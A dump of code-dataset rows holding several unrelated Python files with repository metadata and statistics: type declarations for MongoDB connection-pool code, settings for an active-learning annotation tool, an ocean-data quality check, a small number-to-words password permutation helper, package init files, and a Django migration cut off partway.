EVar('hostTimeout').with_type(TNative('mongo::Milliseconds')), EVar('now').with_type(TNative('mongo::Date_t')), EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')), EVar('_var134975').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var140097').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var142487').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var144896').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var147967').with_type(TList(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), EVar('_var151056').with_type(TList(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*'))), EVar('_var154024').with_type(TList(TNative('mongo::HostAndPort'))), EVar('_var158004').with_type(TList(TBool())), EVar('_var161210').with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var165082').with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var168721').with_type(TList(TNative('mongo::Date_t'))), EVar('_var172454').with_type(TList(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('refreshTimeout').with_type(TNative('mongo::Milliseconds')), EVar('_var185962').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var190095').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var194791').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var202417').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var38203').with_type(TNative('mongo::Milliseconds')), EVar('_var39713').with_type(TNative('mongo::HostAndPort')), EVar('_var40370').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('_var41695').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var55289').with_type(TInt()), EVar('_var57710').with_type(TInt()), EVar('_var59325').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var61549').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('_var62456').with_type(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t'))))), EVar('_var66853').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var68361').with_type(TNative('mongo::HostAndPort')), EVar('_var127106').with_type(TNative('mongo::HostAndPort')), EVar('_var129859').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('_var132639').with_type(TNative('mongo::Date_t')), EVar('_var3908034').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var137119').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var4190399').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var4299262').with_type(TBag(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var4387932').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var4483236').with_type(TList(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), EVar('_var4569137').with_type(TList(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*'))), EVar('_var4655577').with_type(TList(TNative('mongo::HostAndPort'))), EVar('_var4738746').with_type(TList(TBool())), EVar('_var4818493').with_type(TList(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var4915478').with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var5007032').with_type(TList(TNative('mongo::Date_t'))), EVar('_var5094414').with_type(TList(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t')))))), EVar('_var5507733').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), EVar('_var5600856').with_type(TBag(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var5792496').with_type(TSet(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))), EVar('_var206374').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var221798').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort'))))), EVar('_var235214').with_type(TRecord((('host_id', TNative('mongo::HostAndPort')), ('host_timeout', TNative('mongo::Date_t'))))), EVar('_var272630').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), EVar('_var297956').with_type(TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), EVar('_var319668').with_type(TNative('mongo::HostAndPort')), EVar('_var379822').with_type(TNative('mongo::Date_t')), EVar('_var401892').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var415046').with_type(TRecord((('rq_callback', TNative('mongo::executor::ConnectionPool::GetConnectionCallback*')), ('rq_expiration', TNative('mongo::Date_t')), ('rq_host', TNative('mongo::HostAndPort')))))]), collection_depth=4, validate_model=True)
| 676.282
| 99,331
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| 338,141
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| false
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| 0.014778
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0
| 9
|
e2df7ba2aa0a124ebf151c5c4119b1d69723d3f0
| 8,780
|
py
|
Python
|
data/example_project/settings.py
|
mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning
|
9529531436cd665272c0f7ac27444b33ee8efa6c
|
[
"BSD-2-Clause"
] | 19
|
2017-04-17T07:19:11.000Z
|
2021-09-09T08:34:30.000Z
|
data/example_project/settings.py
|
mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning
|
9529531436cd665272c0f7ac27444b33ee8efa6c
|
[
"BSD-2-Clause"
] | null | null | null |
data/example_project/settings.py
|
mariask2/PAL-A-tool-for-Pre-annotation-and-Active-Learning
|
9529531436cd665272c0f7ac27444b33ee8efa6c
|
[
"BSD-2-Clause"
] | 3
|
2017-10-06T14:53:25.000Z
|
2019-07-04T06:11:13.000Z
|
"""
Documentation of settings:
##############
minority_classes:
# Minority classes with their prefix. If the classes in the labelled data
# are not present in this list, they will be ignored
# They should be prefixed with "B" or "I" (matching beginning_prefix below)
minority_classes = ["B-speculation", "I-speculation", "B-contrast", "I-contrast"]
model_type:
# Type of model to use
#model_type = StructuredModelFrankWolfeSSVM
#model_type = NonStructuredLogisticRegression
nr_of_samples:
# Number of sentences to be actively seleected and pre-annotated in each round
# nr_of_samples = 5
number_of_previous_words and number_of_following_words:
# The context around the current word to include when training the classifiers
#number_of_previous_words = 1
#number_of_following_words = 1
# A cut-off for the number of occurrences of a token in the data for it to be included as a feature
#min_df_current = 2
#min_df_context = 3
use_current_word_as_feature:
# Whether to include the current token as feature
#use_current_word_as_feature = True
model_path:
# The path to the semantic space that is read by Gensim
#model_path = '/mnt/data/maria/word2vec/GoogleNews-vectors-negative300.bin'
semantic_vector_length:
# Vector length for the semantic vectors (300 for GoogleNews-vectors-negative300.bin, for instance.)
#semantic_vector_length = 300
inactive_learning:
# This is to be set to False when active learning is to be applied
# If it is true, it instead does the reverse, return the samples for which the learner is most certain
# This is to be used in early stages, when the classifier is too bad for doing a good pre-annotation.
# Ensure to use as at least 50 samples with this option, so there will be a spread in what kinds of samples that are
# extracted.
# inactive_learning = True
maximum_samples_to_search_among:
# The maxium number of sentences to search among when actively selecting useful
# training samples
# The larger value that is given, the more data will be scanned for useful examples
# however, it will also take more time
# "all" let's you search among all samples
#maximum_samples_to_search_among = "all"
#maximum_samples_to_search_among = 100
prefer_predicted_chunks:
# With this option set to True, the active learning prefers unlabelled samples in which chunks are predicted
# regardless of if they are more of less uncertain than the ones in which no chunks are predicted
# prefer_predicted_chunks = True
max_iterations:
# The number of iterations to use by the learning. See the pystruct documentation for
# a suitable number (e.g. 1000). The larger, the longer things will take, so if the pre-annnotation take too much time
# reduce this nuber (which will also reduce the quality).
# Not used by the NonStructuredLogisticRegression class
#max_iterations = 10
current_word_vocabulary and context_word_vocabulary
# Decide what vocabulary to include based on an external list of words
# False, if no external list is to be used
#current_word_vocabulary = False
#current_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt"
#context_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt"
#context_word_vocabulary = False
use_cross_validation:
# If cross validation is to be used
# Only implemented for NonStructuredLogisticRegression
#use_cross_validation = True
c_value
# If 10-fold cross validation is chosen, this c_value is not used
#c_value = 1
# Settings, typically not changed, but that can be changed
#################################
#labelled_data_dir = "labelled"
#data_file_extension = ".csv"
#unlabelled_data_dir = "unlabelled"
#unlabelled_data_file = "unlabelled.csv"
#tolabel_data_dir = "tolabel"
#beginning_prefix = "B-"
#inside_prefix = "I-"
#outside_class = "O"
#negative_category = "no"
#whether_to_use_word2vec = True
#nr_of_cross_validation_splits = 2
"""
####################################################################
# Settings that typicallly need to be adapted to different projects
####################################################################
# Import of the classifiers that are possible to use
from classify_and_select import StructuredModelFrankWolfeSSVM
from classify_and_select import NonStructuredLogisticRegression
# Minority classes with their prefix. If the classes in the labelled data
# are not present in this list, they will be ignored
# They should be prefixed with "B" or "I" (matching beginning_prefix below)
minority_classes = ["B-speculation", "I-speculation"]
#minority_classes = ["B-speculation", "I-speculation", "B-contrast", "I-contrast"]
#######
# Type of model to use
#model_type = StructuredModelFrankWolfeSSVM
model_type = NonStructuredLogisticRegression
# Number of sentences to be actively seleected and pre-annotated in each round
# nr_of_samples = 5
# The context around the current word to include when training the classifiers
#number_of_previous_words = 1
#number_of_following_words = 1
# A cut-off for the number of occurrences of a token in the data for it to be included as a feature
#min_df_current = 2
#min_df_context = 3
# A maximum cut-off for the number of occurrences of a token in the data for a token, or a neighbouring token to be included as a feature
# float in range [0.0, 1.0] or int. See the scikit learn documentation for the max_df for the class CountVectorizer
max_df_current = 0.95
max_df_context = 0.80
#######
#######
# Whether to include the current token as feature
#use_current_word_as_feature = True
# The path to the semantic space that is read by Gensim
model_path = '/Users/maria/mariaskeppstedtdsv/post-doc/gavagai/googlespace/GoogleNews-vectors-negative300.bin'
#model_path = '/Users/maria/mariaskeppstedtdsv/post-doc/gavagai/googlespace/word2vec_twitter_model/word2vec_twitter_model.bin'
# Vector length for the semantic vectors (300 for GoogleNews-vectors-negative300.bin, for instance.)
semantic_vector_length = 300
###
# Whether process monitoring data should be recorded
####
write_process_monitoring = True
#######
# This is to be set to False when active learning is to be applied
# If it is true, it instead does the reverse, return the samples for which the learner is most certain
# This is to be used in early stages, when the classifier is too bad for doing a good pre-annotation.
# Ensure to use as at least 50 samples with this option, so there will be a spread in what kinds of samples that are
# extracted.
# inactive_learning = True
#########
# The maxium number of sentences to search among when actively selecting useful
# training samples
# The larger value that is given, the more data will be scanned for useful examples
# however, it will also take more time
# "all" let's you search among all samples
#maximum_samples_to_search_among = "all"
#maximum_samples_to_search_among = 100
############
# With this option set to True, the active learning prefers unlabelled samples in which chunks are predicted
# regardless of if they are more of less uncertain than the ones in which no chunks are predicted
# prefer_predicted_chunks = True
# The number of iterations to use by the learning. See the pystruct documentation for
# a suitable number (e.g. 1000). The larger, the longer things will take, so if the pre-annnotation take too much time
# reduce this nuber (which will also reduce the quality).
# Not used by the NonStructuredLogisticRegression class
#max_iterations = 10
######
# Decide what vocabulary to include based on an external list of words
# False, if no external list is to be used
#current_word_vocabulary = False
#current_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt"
#context_word_vocabulary = "/mnt/data/maria/stavicta_models/vocabulary/occurred_twice_or_more_in_pool.txt"
#context_word_vocabulary = False
# If cross validation is to be used
# Only implemented for NonStructuredLogisticRegression
#use_cross_validation = True
# If 10-fold cross validation is chosen, this c_value is not used
#c_value = 1
# Settings, typically not changed
#################################
#labelled_data_dir = "labelled"
#data_file_extension = ".csv"
#unlabelled_data_dir = "unlabelled"
#unlabelled_data_file = "unlabelled.csv"
#tolabel_data_dir = "tolabel"
#beginning_prefix = "B-"
#inside_prefix = "I-"
#outside_class = "O"
#negative_category = "no"
#whether_to_use_word2vec = True
#whether_to_use_clustering = True
#nr_of_cross_validation_splits = 2
#process_monitoring_dir = "process_monitoring"
| 39.372197
| 137
| 0.748405
| 1,289
| 8,780
| 4.930954
| 0.190846
| 0.010069
| 0.00944
| 0.00944
| 0.869729
| 0.853367
| 0.849906
| 0.841095
| 0.841095
| 0.823002
| 0
| 0.01076
| 0.163781
| 8,780
| 222
| 138
| 39.54955
| 0.854944
| 0.901822
| 0
| 0
| 0
| 0.111111
| 0.218807
| 0.17179
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.222222
| 0
| 0.222222
| 0
| 0
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| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
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| 0
| 0
| 0
| 0
|
0
| 7
|
e2e1ce857dd9f3f0ed1d6dd6e46e212e468a16b0
| 206
|
py
|
Python
|
qctests/EN_spike_and_step_suspect.py
|
BillMills/AutoQC
|
cb56fa5bb2115170ec204edd84e2d69ce84be820
|
[
"MIT"
] | 17
|
2015-01-31T00:35:58.000Z
|
2020-10-26T19:01:46.000Z
|
qctests/EN_spike_and_step_suspect.py
|
castelao/AutoQC
|
eb85422c1a6a5ff965a1ef96b3cb29240a66b506
|
[
"MIT"
] | 163
|
2015-01-21T03:44:42.000Z
|
2022-01-09T22:03:12.000Z
|
qctests/EN_spike_and_step_suspect.py
|
BillMills/AutoQC
|
cb56fa5bb2115170ec204edd84e2d69ce84be820
|
[
"MIT"
] | 11
|
2015-06-04T14:32:22.000Z
|
2021-04-11T05:18:09.000Z
|
'''Returns the suspect levels found by the EN spike and step check.'''
from . import EN_spike_and_step_check
def test(p, parameters):
return EN_spike_and_step_check.test(p, parameters, suspect=True)
| 25.75
| 70
| 0.76699
| 34
| 206
| 4.411765
| 0.558824
| 0.14
| 0.2
| 0.28
| 0.38
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.145631
| 206
| 7
| 71
| 29.428571
| 0.852273
| 0.31068
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.333333
| 0.333333
| 1
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 1
| 1
| 1
| 0
|
0
| 7
|
e2f3b2930561653d52430b28dc92e09e111da71c
| 1,979
|
py
|
Python
|
PP.py
|
MusicGivesMeLife/PasswordPermutations
|
105d4120e455a635a8f7cea2f36028484152d399
|
[
"MIT"
] | null | null | null |
PP.py
|
MusicGivesMeLife/PasswordPermutations
|
105d4120e455a635a8f7cea2f36028484152d399
|
[
"MIT"
] | null | null | null |
PP.py
|
MusicGivesMeLife/PasswordPermutations
|
105d4120e455a635a8f7cea2f36028484152d399
|
[
"MIT"
] | null | null | null |
#!/usr/bin/env python3
#TODO libraries
import re
import inflect
ilist = open("list.txt", "r")
pplist = ilist.readlines()
spec_chars = ['@', '!', '$', '-', '.', ':', '_', '%', '?']
p = inflect.engine()
def num_to_stri(numl):
numlist = []
numchar = list(numl)
for numi in range(len(numchar)):
if numchar[numi] == "0":
numchar[numi] = "zero"
elif numchar[numi] == "1":
numchar[numi] = "one"
elif numchar[numi] == "2":
numchar[numi] = "two"
elif numchar[numi] == "3":
numchar[numi] = "three"
elif numchar[numi] == "4":
numchar[numi] = "four"
elif numchar[numi] == "5":
numchar[numi] = "five"
elif numchar[numi] == "6":
numchar[numi] = "six"
elif numchar[numi] == "7":
numchar[numi] = "seven"
elif numchar[numi] == "8":
numchar[numi] = "eight"
elif numchar[numi] == "9":
numchar[numi] = "nine"
numlist.append(''.join(numchar))
numlist.append(''.join(numchar).upper())
numchar = list(numl)
for numi in range(len(numchar)):
if numchar[numi] == "0":
numchar[numi] = "Zero"
elif numchar[numi] == "1":
numchar[numi] = "One"
elif numchar[numi] == "2":
numchar[numi] = "Two"
elif numchar[numi] == "3":
numchar[numi] = "Three"
elif numchar[numi] == "4":
numchar[numi] = "Four"
elif numchar[numi] == "5":
numchar[numi] = "Five"
elif numchar[numi] == "6":
numchar[numi] = "Six"
elif numchar[numi] == "7":
numchar[numi] = "Seven"
elif numchar[numi] == "8":
numchar[numi] = "Eight"
elif numchar[numi] == "9":
numchar[numi] = "Nine"
numlist.append(''.join(numchar))
if ''.join(numl).isdecimal():
numl = int(''.join(numl))
return(numlist)
| 30.921875
| 58
| 0.482567
| 210
| 1,979
| 4.528571
| 0.285714
| 0.462671
| 0.283912
| 0.07571
| 0.780231
| 0.780231
| 0.780231
| 0.780231
| 0.780231
| 0.780231
| 0
| 0.015873
| 0.331481
| 1,979
| 63
| 59
| 31.412698
| 0.702948
| 0.017686
| 0
| 0.448276
| 0
| 0
| 0.060762
| 0
| 0
| 0
| 0
| 0.015873
| 0
| 1
| 0.017241
| false
| 0
| 0.034483
| 0
| 0.051724
| 0
| 0
| 0
| 0
| null | 1
| 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 0
| null | 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
1a7187833bbca15cac0020ce52caf9f2868e3d16
| 81
|
py
|
Python
|
jingu/__init__.py
|
shiimaxx/jingu
|
75176f3befa248ffb936a177d91c4feee0eef98b
|
[
"MIT"
] | null | null | null |
jingu/__init__.py
|
shiimaxx/jingu
|
75176f3befa248ffb936a177d91c4feee0eef98b
|
[
"MIT"
] | null | null | null |
jingu/__init__.py
|
shiimaxx/jingu
|
75176f3befa248ffb936a177d91c4feee0eef98b
|
[
"MIT"
] | null | null | null |
# flake8: noqa
from .template import Environment
from .template import Template
| 16.2
| 33
| 0.802469
| 10
| 81
| 6.5
| 0.6
| 0.369231
| 0.553846
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.014493
| 0.148148
| 81
| 4
| 34
| 20.25
| 0.927536
| 0.148148
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
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| 1
| 0
| true
| 0
| 1
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| 1
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| 0
| null | 1
| 1
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
2053f57c05e4f4f25fe746c3ad60edaabf2f753d
| 189
|
py
|
Python
|
hangout_api/__init__.py
|
enkidulan/hangout_api
|
60bb389afd7ceb790e6562073303762078997f7b
|
[
"Apache-2.0"
] | 6
|
2015-03-08T18:45:15.000Z
|
2021-01-06T21:02:51.000Z
|
hangout_api/__init__.py
|
enkidulan/hangout_api
|
60bb389afd7ceb790e6562073303762078997f7b
|
[
"Apache-2.0"
] | 1
|
2016-01-26T17:46:14.000Z
|
2016-01-29T09:01:15.000Z
|
hangout_api/__init__.py
|
enkidulan/hangout_api
|
60bb389afd7ceb790e6562073303762078997f7b
|
[
"Apache-2.0"
] | 1
|
2020-01-29T02:01:20.000Z
|
2020-01-29T02:01:20.000Z
|
"""
Python API for controlling Google+ Hangouts
===========================================
"""
from .base import Hangouts
from hangout_api import settings
from hangout_api import gadgets
| 21
| 43
| 0.613757
| 20
| 189
| 5.7
| 0.6
| 0.210526
| 0.245614
| 0.350877
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.116402
| 189
| 8
| 44
| 23.625
| 0.682635
| 0.460317
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 8
|
644acfc00a840653d4bda0d763992a8f69a7bf94
| 12,548
|
py
|
Python
|
src/waldur_ansible/python_management/migrations/0001_initial.py
|
opennode/waldur-ansible
|
c81c5f0491be02fa9a55a6d5bf9d845750fd1ba9
|
[
"MIT"
] | 1
|
2017-09-05T08:09:47.000Z
|
2017-09-05T08:09:47.000Z
|
src/waldur_ansible/python_management/migrations/0001_initial.py
|
opennode/waldur-ansible
|
c81c5f0491be02fa9a55a6d5bf9d845750fd1ba9
|
[
"MIT"
] | null | null | null |
src/waldur_ansible/python_management/migrations/0001_initial.py
|
opennode/waldur-ansible
|
c81c5f0491be02fa9a55a6d5bf9d845750fd1ba9
|
[
"MIT"
] | 3
|
2017-09-24T03:13:19.000Z
|
2018-08-12T07:44:38.000Z
|
# -*- coding: utf-8 -*-
# Generated by Django 1.11.9 on 2018-03-05 21:05
from __future__ import unicode_literals
import django.utils.timezone
import django_fsm
import model_utils.fields
from django.conf import settings
from django.db import migrations, models
import waldur_core.core.fields
import waldur_core.core.validators
class Migration(migrations.Migration):
initial = True
dependencies = [
('openstack_tenant', '0030_add_volume_image_name'),
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
]
operations = [
migrations.CreateModel(
name='CachedRepositoryPythonLibrary',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('uuid', waldur_core.core.fields.UUIDField()),
('name', models.CharField(db_index=True, max_length=255, validators=[waldur_core.core.validators.validate_name])),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='InstalledLibrary',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=150, validators=[waldur_core.core.validators.validate_name], verbose_name='name')),
('uuid', waldur_core.core.fields.UUIDField()),
('version', models.CharField(max_length=255)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='PythonManagement',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('virtual_envs_dir_path', models.CharField(max_length=255)),
('python_version', models.CharField(max_length=10)),
('instance', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='openstack_tenant.Instance')),
('service_project_link', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='openstack_tenant.OpenStackTenantServiceProjectLink')),
('user', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to=settings.AUTH_USER_MODEL)),
],
),
migrations.CreateModel(
name='PythonManagementDeleteRequest',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('error_message', models.TextField(blank=True)),
('state', django_fsm.FSMIntegerField(
choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'),
(4, 'Erred')], default=5)),
('virtual_env_name', models.CharField(max_length=255)),
('output', models.TextField(blank=True)),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
migrations.CreateModel(
name='PythonManagementDeleteVirtualEnvRequest',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('error_message', models.TextField(blank=True)),
('state', django_fsm.FSMIntegerField(
choices=[(5, 'Creation Scheduled'), (6, 'Creating'), (1, 'Update Scheduled'), (2, 'Updating'), (7, 'Deletion Scheduled'), (8, 'Deleting'), (3, 'OK'),
(4, 'Erred')], default=5)),
('virtual_env_name', models.CharField(max_length=255)),
('output', models.TextField(blank=True)),
('python_management', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='+', to='python_management.PythonManagement')),
],
options={
'abstract': False,
},
bases=(models.Model,),
),
migrations.CreateModel(
name='PythonManagementFindInstalledLibrariesRequest',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('uuid', waldur_core.core.fields.UUIDField()),
('error_message', models.TextField(blank=True)),
('state', django_fsm.FSMIntegerField(
